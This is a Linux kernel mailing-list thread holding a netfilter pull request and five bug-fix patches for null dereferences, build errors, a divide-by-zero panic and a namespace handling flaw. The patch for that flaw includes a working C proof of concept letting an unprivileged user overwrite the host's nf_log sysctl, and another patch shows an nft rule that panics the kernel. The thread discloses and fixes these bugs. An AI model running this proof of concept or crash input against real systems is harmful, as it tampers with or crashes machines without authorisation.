All of lore.kernel.org
 help / color / mirror / Atom feed
* [PATCH 0/5] Netfilter fixes for net-next
@ 2016-10-06  0:07 Pablo Neira Ayuso
  2016-10-06  0:07 ` [PATCH 1/5] netfilter: Fix potential null pointer dereference Pablo Neira Ayuso
                   ` (5 more replies)
  0 siblings, 6 replies; 7+ messages in thread
From: Pablo Neira Ayuso @ 2016-10-06  0:07 UTC (permalink / raw)
  To: netfilter-devel; +Cc: davem, netdev

Hi David,

This is a pull request to address fallout from previous nf-next pull
request, only fixes going on here:

1) Address a potential null dereference in nf_unregister_net_hook()
   when becomes nf_hook_entry_head is NULL, from Aaron Conole.

2) Missing ifdef for CONFIG_NETFILTER_INGRESS, also from Aaron.

3) Fix linking problems in xt_hashlimit in x86_32, from Pai.

4) Fix permissions of nf_log sysctl from unpriviledge netns, from
   Jann Horn.

5) Fix possible divide by zero in nft_limit, from Liping Zhang.

You can pull these changes from:

  git://git.kernel.org/pub/scm/linux/kernel/git/pablo/nf-next.git

P.S: Sorry for not addressing this any sooner, a mixture of traveling
overhead, conference and problems with wifi connection has prevented me
to do this any sooner.

Thanks!

----------------------------------------------------------------

The following changes since commit 803783849fed11e38a30f31932c02c815520da70:

  mlx5: Add ndo_poll_controller() implementation (2016-09-30 02:11:16 -0400)

are available in the git repository at:

  git://git.kernel.org/pub/scm/linux/kernel/git/pablo/nf-next.git HEAD

for you to fetch changes up to 2fa46c130193300f06e68727ae98ec9f6184cad4:

  netfilter: nft_limit: fix divided by zero panic (2016-10-04 08:59:03 +0200)

----------------------------------------------------------------
Aaron Conole (2):
      netfilter: Fix potential null pointer dereference
      netfilter: accommodate different kconfig in nf_set_hooks_head

Jann Horn (1):
      netfilter: fix namespace handling in nf_log_proc_dostring

Liping Zhang (1):
      netfilter: nft_limit: fix divided by zero panic

Vishwanath Pai (1):
      netfilter: xt_hashlimit: Fix link error in 32bit arch because of 64bit division

 net/netfilter/core.c         | 17 ++++++++++++-----
 net/netfilter/nf_log.c       |  6 ++++--
 net/netfilter/nft_limit.c    |  4 ++--
 net/netfilter/xt_hashlimit.c | 15 ++++++++-------
 4 files changed, 26 insertions(+), 16 deletions(-)

^ permalink raw reply	[flat|nested] 7+ messages in thread

* [PATCH 1/5] netfilter: Fix potential null pointer dereference
  2016-10-06  0:07 [PATCH 0/5] Netfilter fixes for net-next Pablo Neira Ayuso
@ 2016-10-06  0:07 ` Pablo Neira Ayuso
  2016-10-06  0:07 ` [PATCH 2/5] netfilter: accommodate different kconfig in nf_set_hooks_head Pablo Neira Ayuso
                   ` (4 subsequent siblings)
  5 siblings, 0 replies; 7+ messages in thread
From: Pablo Neira Ayuso @ 2016-10-06  0:07 UTC (permalink / raw)
  To: netfilter-devel; +Cc: davem, netdev

From: Aaron Conole <aconole@bytheb.org>

It's possible for nf_hook_entry_head to return NULL.  If two
nf_unregister_net_hook calls happen simultaneously with a single hook
entry in the list, both will enter the nf_hook_mutex critical section.
The first will successfully delete the head, but the second will see
this NULL pointer and attempt to dereference.

This fix ensures that no null pointer dereference could occur when such
a condition happens.

Fixes: e3b37f11e6e4 ("netfilter: replace list_head with single linked list")
Signed-off-by: Aaron Conole <aconole@bytheb.org>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
---
 net/netfilter/core.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/net/netfilter/core.c b/net/netfilter/core.c
index fa6715db4581..e3f68a786afe 100644
--- a/net/netfilter/core.c
+++ b/net/netfilter/core.c
@@ -160,7 +160,7 @@ void nf_unregister_net_hook(struct net *net, const struct nf_hook_ops *reg)
 
 	mutex_lock(&nf_hook_mutex);
 	hooks_entry = nf_hook_entry_head(net, reg);
-	if (hooks_entry->orig_ops == reg) {
+	if (hooks_entry && hooks_entry->orig_ops == reg) {
 		nf_set_hooks_head(net, reg,
 				  nf_entry_dereference(hooks_entry->next));
 		goto unlock;
-- 
2.1.4

^ permalink raw reply related	[flat|nested] 7+ messages in thread

* [PATCH 2/5] netfilter: accommodate different kconfig in nf_set_hooks_head
  2016-10-06  0:07 [PATCH 0/5] Netfilter fixes for net-next Pablo Neira Ayuso
  2016-10-06  0:07 ` [PATCH 1/5] netfilter: Fix potential null pointer dereference Pablo Neira Ayuso
@ 2016-10-06  0:07 ` Pablo Neira Ayuso
  2016-10-06  0:07 ` [PATCH 3/5] netfilter: xt_hashlimit: Fix link error in 32bit arch because of 64bit division Pablo Neira Ayuso
                   ` (3 subsequent siblings)
  5 siblings, 0 replies; 7+ messages in thread
From: Pablo Neira Ayuso @ 2016-10-06  0:07 UTC (permalink / raw)
  To: netfilter-devel; +Cc: davem, netdev

From: Aaron Conole <aconole@bytheb.org>

When CONFIG_NETFILTER_INGRESS is unset (or no), we need to handle
the request for registration properly by dropping the hook.  This
releases the entry during the set.

Fixes: e3b37f11e6e4 ("netfilter: replace list_head with single linked list")
Signed-off-by: Aaron Conole <aconole@bytheb.org>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
---
 net/netfilter/core.c | 15 +++++++++++----
 1 file changed, 11 insertions(+), 4 deletions(-)

diff --git a/net/netfilter/core.c b/net/netfilter/core.c
index e3f68a786afe..c9d90eb64046 100644
--- a/net/netfilter/core.c
+++ b/net/netfilter/core.c
@@ -90,10 +90,12 @@ static void nf_set_hooks_head(struct net *net, const struct nf_hook_ops *reg,
 {
 	switch (reg->pf) {
 	case NFPROTO_NETDEV:
+#ifdef CONFIG_NETFILTER_INGRESS
 		/* We already checked in nf_register_net_hook() that this is
 		 * used from ingress.
 		 */
 		rcu_assign_pointer(reg->dev->nf_hooks_ingress, entry);
+#endif
 		break;
 	default:
 		rcu_assign_pointer(net->nf.hooks[reg->pf][reg->hooknum],
@@ -107,10 +109,15 @@ int nf_register_net_hook(struct net *net, const struct nf_hook_ops *reg)
 	struct nf_hook_entry *hooks_entry;
 	struct nf_hook_entry *entry;
 
-	if (reg->pf == NFPROTO_NETDEV &&
-	    (reg->hooknum != NF_NETDEV_INGRESS ||
-	     !reg->dev || dev_net(reg->dev) != net))
-		return -EINVAL;
+	if (reg->pf == NFPROTO_NETDEV) {
+#ifndef CONFIG_NETFILTER_INGRESS
+		if (reg->hooknum == NF_NETDEV_INGRESS)
+			return -EOPNOTSUPP;
+#endif
+		if (reg->hooknum != NF_NETDEV_INGRESS ||
+		    !reg->dev || dev_net(reg->dev) != net)
+			return -EINVAL;
+	}
 
 	entry = kmalloc(sizeof(*entry), GFP_KERNEL);
 	if (!entry)
-- 
2.1.4


^ permalink raw reply related	[flat|nested] 7+ messages in thread

* [PATCH 3/5] netfilter: xt_hashlimit: Fix link error in 32bit arch because of 64bit division
  2016-10-06  0:07 [PATCH 0/5] Netfilter fixes for net-next Pablo Neira Ayuso
  2016-10-06  0:07 ` [PATCH 1/5] netfilter: Fix potential null pointer dereference Pablo Neira Ayuso
  2016-10-06  0:07 ` [PATCH 2/5] netfilter: accommodate different kconfig in nf_set_hooks_head Pablo Neira Ayuso
@ 2016-10-06  0:07 ` Pablo Neira Ayuso
  2016-10-06  0:07 ` [PATCH 4/5] netfilter: fix namespace handling in nf_log_proc_dostring Pablo Neira Ayuso
                   ` (2 subsequent siblings)
  5 siblings, 0 replies; 7+ messages in thread
From: Pablo Neira Ayuso @ 2016-10-06  0:07 UTC (permalink / raw)
  To: netfilter-devel; +Cc: davem, netdev

From: Vishwanath Pai <vpai@akamai.com>

Division of 64bit integers will cause linker error undefined reference
to `__udivdi3'. Fix this by replacing divisions with div64_64

Fixes: 11d5f15723c9 ("netfilter: xt_hashlimit: Create revision 2 to ...")
Signed-off-by: Vishwanath Pai <vpai@akamai.com>
Acked-by: Maciej Żenczykowski <maze@google.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
---
 net/netfilter/xt_hashlimit.c | 15 ++++++++-------
 1 file changed, 8 insertions(+), 7 deletions(-)

diff --git a/net/netfilter/xt_hashlimit.c b/net/netfilter/xt_hashlimit.c
index 44a095ecc7b7..2fab0c65aa94 100644
--- a/net/netfilter/xt_hashlimit.c
+++ b/net/netfilter/xt_hashlimit.c
@@ -467,17 +467,18 @@ static u64 user2credits(u64 user, int revision)
 		/* If multiplying would overflow... */
 		if (user > 0xFFFFFFFF / (HZ*CREDITS_PER_JIFFY_v1))
 			/* Divide first. */
-			return (user / XT_HASHLIMIT_SCALE) *\
-						HZ * CREDITS_PER_JIFFY_v1;
+			return div64_u64(user, XT_HASHLIMIT_SCALE)
+				* HZ * CREDITS_PER_JIFFY_v1;
 
-		return (user * HZ * CREDITS_PER_JIFFY_v1) \
-						/ XT_HASHLIMIT_SCALE;
+		return div64_u64(user * HZ * CREDITS_PER_JIFFY_v1,
+				 XT_HASHLIMIT_SCALE);
 	} else {
 		if (user > 0xFFFFFFFFFFFFFFFF / (HZ*CREDITS_PER_JIFFY))
-			return (user / XT_HASHLIMIT_SCALE_v2) *\
-						HZ * CREDITS_PER_JIFFY;
+			return div64_u64(user, XT_HASHLIMIT_SCALE_v2)
+				* HZ * CREDITS_PER_JIFFY;
 
-		return (user * HZ * CREDITS_PER_JIFFY) / XT_HASHLIMIT_SCALE_v2;
+		return div64_u64(user * HZ * CREDITS_PER_JIFFY,
+				 XT_HASHLIMIT_SCALE_v2);
 	}
 }
 
-- 
2.1.4


^ permalink raw reply related	[flat|nested] 7+ messages in thread

* [PATCH 4/5] netfilter: fix namespace handling in nf_log_proc_dostring
  2016-10-06  0:07 [PATCH 0/5] Netfilter fixes for net-next Pablo Neira Ayuso
                   ` (2 preceding siblings ...)
  2016-10-06  0:07 ` [PATCH 3/5] netfilter: xt_hashlimit: Fix link error in 32bit arch because of 64bit division Pablo Neira Ayuso
@ 2016-10-06  0:07 ` Pablo Neira Ayuso
  2016-10-06  0:07 ` [PATCH 5/5] netfilter: nft_limit: fix divided by zero panic Pablo Neira Ayuso
  2016-10-06  0:26 ` [PATCH 0/5] Netfilter fixes for net-next David Miller
  5 siblings, 0 replies; 7+ messages in thread
From: Pablo Neira Ayuso @ 2016-10-06  0:07 UTC (permalink / raw)
  To: netfilter-devel; +Cc: davem, netdev

From: Jann Horn <jann@thejh.net>

nf_log_proc_dostring() used current's network namespace instead of the one
corresponding to the sysctl file the write was performed on. Because the
permission check happens at open time and the nf_log files in namespaces
are accessible for the namespace owner, this can be abused by an
unprivileged user to effectively write to the init namespace's nf_log
sysctls.

Stash the "struct net *" in extra2 - data and extra1 are already used.

Repro code:

#define _GNU_SOURCE
#include <stdlib.h>
#include <sched.h>
#include <err.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>

char child_stack[1000000];

uid_t outer_uid;
gid_t outer_gid;
int stolen_fd = -1;

void writefile(char *path, char *buf) {
        int fd = open(path, O_WRONLY);
        if (fd == -1)
                err(1, "unable to open thing");
        if (write(fd, buf, strlen(buf)) != strlen(buf))
                err(1, "unable to write thing");
        close(fd);
}

int child_fn(void *p_) {
        if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC,
                  NULL))
                err(1, "mount");

        /* Yes, we need to set the maps for the net sysctls to recognize us
         * as namespace root.
         */
        char buf[1000];
        sprintf(buf, "0 %d 1\n", (int)outer_uid);
        writefile("/proc/1/uid_map", buf);
        writefile("/proc/1/setgroups", "deny");
        sprintf(buf, "0 %d 1\n", (int)outer_gid);
        writefile("/proc/1/gid_map", buf);

        stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY);
        if (stolen_fd == -1)
                err(1, "open nf_log");
        return 0;
}

int main(void) {
        outer_uid = getuid();
        outer_gid = getgid();

        int child = clone(child_fn, child_stack + sizeof(child_stack),
                          CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID
                          |CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL);
        if (child == -1)
                err(1, "clone");
        int status;
        if (wait(&status) != child)
                err(1, "wait");
        if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
                errx(1, "child exit status bad");

        char *data = "NONE";
        if (write(stolen_fd, data, strlen(data)) != strlen(data))
                err(1, "write");
        return 0;
}

Repro:

$ gcc -Wall -o attack attack.c -std=gnu99
$ cat /proc/sys/net/netfilter/nf_log/2
nf_log_ipv4
$ ./attack
$ cat /proc/sys/net/netfilter/nf_log/2
NONE

Because this looks like an issue with very low severity, I'm sending it to
the public list directly.

Signed-off-by: Jann Horn <jann@thejh.net>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
---
 net/netfilter/nf_log.c | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/net/netfilter/nf_log.c b/net/netfilter/nf_log.c
index 30a17d649a83..3dca90dc24ad 100644
--- a/net/netfilter/nf_log.c
+++ b/net/netfilter/nf_log.c
@@ -422,7 +422,7 @@ static int nf_log_proc_dostring(struct ctl_table *table, int write,
 	char buf[NFLOGGER_NAME_LEN];
 	int r = 0;
 	int tindex = (unsigned long)table->extra1;
-	struct net *net = current->nsproxy->net_ns;
+	struct net *net = table->extra2;
 
 	if (write) {
 		struct ctl_table tmp = *table;
@@ -476,7 +476,6 @@ static int netfilter_log_sysctl_init(struct net *net)
 				 3, "%d", i);
 			nf_log_sysctl_table[i].procname	=
 				nf_log_sysctl_fnames[i];
-			nf_log_sysctl_table[i].data = NULL;
 			nf_log_sysctl_table[i].maxlen = NFLOGGER_NAME_LEN;
 			nf_log_sysctl_table[i].mode = 0644;
 			nf_log_sysctl_table[i].proc_handler =
@@ -486,6 +485,9 @@ static int netfilter_log_sysctl_init(struct net *net)
 		}
 	}
 
+	for (i = NFPROTO_UNSPEC; i < NFPROTO_NUMPROTO; i++)
+		table[i].extra2 = net;
+
 	net->nf.nf_log_dir_header = register_net_sysctl(net,
 						"net/netfilter/nf_log",
 						table);
-- 
2.1.4


^ permalink raw reply related	[flat|nested] 7+ messages in thread

* [PATCH 5/5] netfilter: nft_limit: fix divided by zero panic
  2016-10-06  0:07 [PATCH 0/5] Netfilter fixes for net-next Pablo Neira Ayuso
                   ` (3 preceding siblings ...)
  2016-10-06  0:07 ` [PATCH 4/5] netfilter: fix namespace handling in nf_log_proc_dostring Pablo Neira Ayuso
@ 2016-10-06  0:07 ` Pablo Neira Ayuso
  2016-10-06  0:26 ` [PATCH 0/5] Netfilter fixes for net-next David Miller
  5 siblings, 0 replies; 7+ messages in thread
From: Pablo Neira Ayuso @ 2016-10-06  0:07 UTC (permalink / raw)
  To: netfilter-devel; +Cc: davem, netdev

From: Liping Zhang <liping.zhang@spreadtrum.com>

After I input the following nftables rule, a panic happened on my system:
  # nft add rule filter OUTPUT limit rate 0xf00000000 bytes/second

  divide error: 0000 [#1] SMP
  [ ... ]
  RIP: 0010:[<ffffffffa059035e>]  [<ffffffffa059035e>]
  nft_limit_pkt_bytes_eval+0x2e/0xa0 [nft_limit]
  Call Trace:
  [<ffffffffa05721bb>] nft_do_chain+0xfb/0x4e0 [nf_tables]
  [<ffffffffa044f236>] ? nf_nat_setup_info+0x96/0x480 [nf_nat]
  [<ffffffff81753767>] ? ipt_do_table+0x327/0x610
  [<ffffffffa044f677>] ? __nf_nat_alloc_null_binding+0x57/0x80 [nf_nat]
  [<ffffffffa058b21f>] nft_ipv4_output+0xaf/0xd0 [nf_tables_ipv4]
  [<ffffffff816f4aa2>] nf_iterate+0x62/0x80
  [<ffffffff816f4b33>] nf_hook_slow+0x73/0xd0
  [<ffffffff81703d0d>] __ip_local_out+0xcd/0xe0
  [<ffffffff81701d90>] ? ip_forward_options+0x1b0/0x1b0
  [<ffffffff81703d3c>] ip_local_out+0x1c/0x40

This is because divisor is 64-bit, but we treat it as a 32-bit integer,
then 0xf00000000 becomes zero, i.e. divisor becomes 0.

Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
---
 net/netfilter/nft_limit.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/net/netfilter/nft_limit.c b/net/netfilter/nft_limit.c
index 070b98938e02..c6baf412236d 100644
--- a/net/netfilter/nft_limit.c
+++ b/net/netfilter/nft_limit.c
@@ -145,7 +145,7 @@ static int nft_limit_pkts_init(const struct nft_ctx *ctx,
 	if (err < 0)
 		return err;
 
-	priv->cost = div_u64(priv->limit.nsecs, priv->limit.rate);
+	priv->cost = div64_u64(priv->limit.nsecs, priv->limit.rate);
 	return 0;
 }
 
@@ -170,7 +170,7 @@ static void nft_limit_pkt_bytes_eval(const struct nft_expr *expr,
 				     const struct nft_pktinfo *pkt)
 {
 	struct nft_limit *priv = nft_expr_priv(expr);
-	u64 cost = div_u64(priv->nsecs * pkt->skb->len, priv->rate);
+	u64 cost = div64_u64(priv->nsecs * pkt->skb->len, priv->rate);
 
 	if (nft_limit_eval(priv, cost))
 		regs->verdict.code = NFT_BREAK;
-- 
2.1.4


^ permalink raw reply related	[flat|nested] 7+ messages in thread

* Re: [PATCH 0/5] Netfilter fixes for net-next
  2016-10-06  0:07 [PATCH 0/5] Netfilter fixes for net-next Pablo Neira Ayuso
                   ` (4 preceding siblings ...)
  2016-10-06  0:07 ` [PATCH 5/5] netfilter: nft_limit: fix divided by zero panic Pablo Neira Ayuso
@ 2016-10-06  0:26 ` David Miller
  5 siblings, 0 replies; 7+ messages in thread
From: David Miller @ 2016-10-06  0:26 UTC (permalink / raw)
  To: pablo; +Cc: netfilter-devel, netdev

From: Pablo Neira Ayuso <pablo@netfilter.org>
Date: Thu,  6 Oct 2016 02:07:44 +0200

> This is a pull request to address fallout from previous nf-next pull
> request, only fixes going on here:
> 
> 1) Address a potential null dereference in nf_unregister_net_hook()
>    when becomes nf_hook_entry_head is NULL, from Aaron Conole.
> 
> 2) Missing ifdef for CONFIG_NETFILTER_INGRESS, also from Aaron.
> 
> 3) Fix linking problems in xt_hashlimit in x86_32, from Pai.
> 
> 4) Fix permissions of nf_log sysctl from unpriviledge netns, from
>    Jann Horn.
> 
> 5) Fix possible divide by zero in nft_limit, from Liping Zhang.
> 
> You can pull these changes from:
> 
>   git://git.kernel.org/pub/scm/linux/kernel/git/pablo/nf-next.git

Pulled, thanks Pablo.

^ permalink raw reply	[flat|nested] 7+ messages in thread

end of thread, other threads:[~2016-10-06  0:26 UTC | newest]

Thread overview: 7+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2016-10-06  0:07 [PATCH 0/5] Netfilter fixes for net-next Pablo Neira Ayuso
2016-10-06  0:07 ` [PATCH 1/5] netfilter: Fix potential null pointer dereference Pablo Neira Ayuso
2016-10-06  0:07 ` [PATCH 2/5] netfilter: accommodate different kconfig in nf_set_hooks_head Pablo Neira Ayuso
2016-10-06  0:07 ` [PATCH 3/5] netfilter: xt_hashlimit: Fix link error in 32bit arch because of 64bit division Pablo Neira Ayuso
2016-10-06  0:07 ` [PATCH 4/5] netfilter: fix namespace handling in nf_log_proc_dostring Pablo Neira Ayuso
2016-10-06  0:07 ` [PATCH 5/5] netfilter: nft_limit: fix divided by zero panic Pablo Neira Ayuso
2016-10-06  0:26 ` [PATCH 0/5] Netfilter fixes for net-next David Miller

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.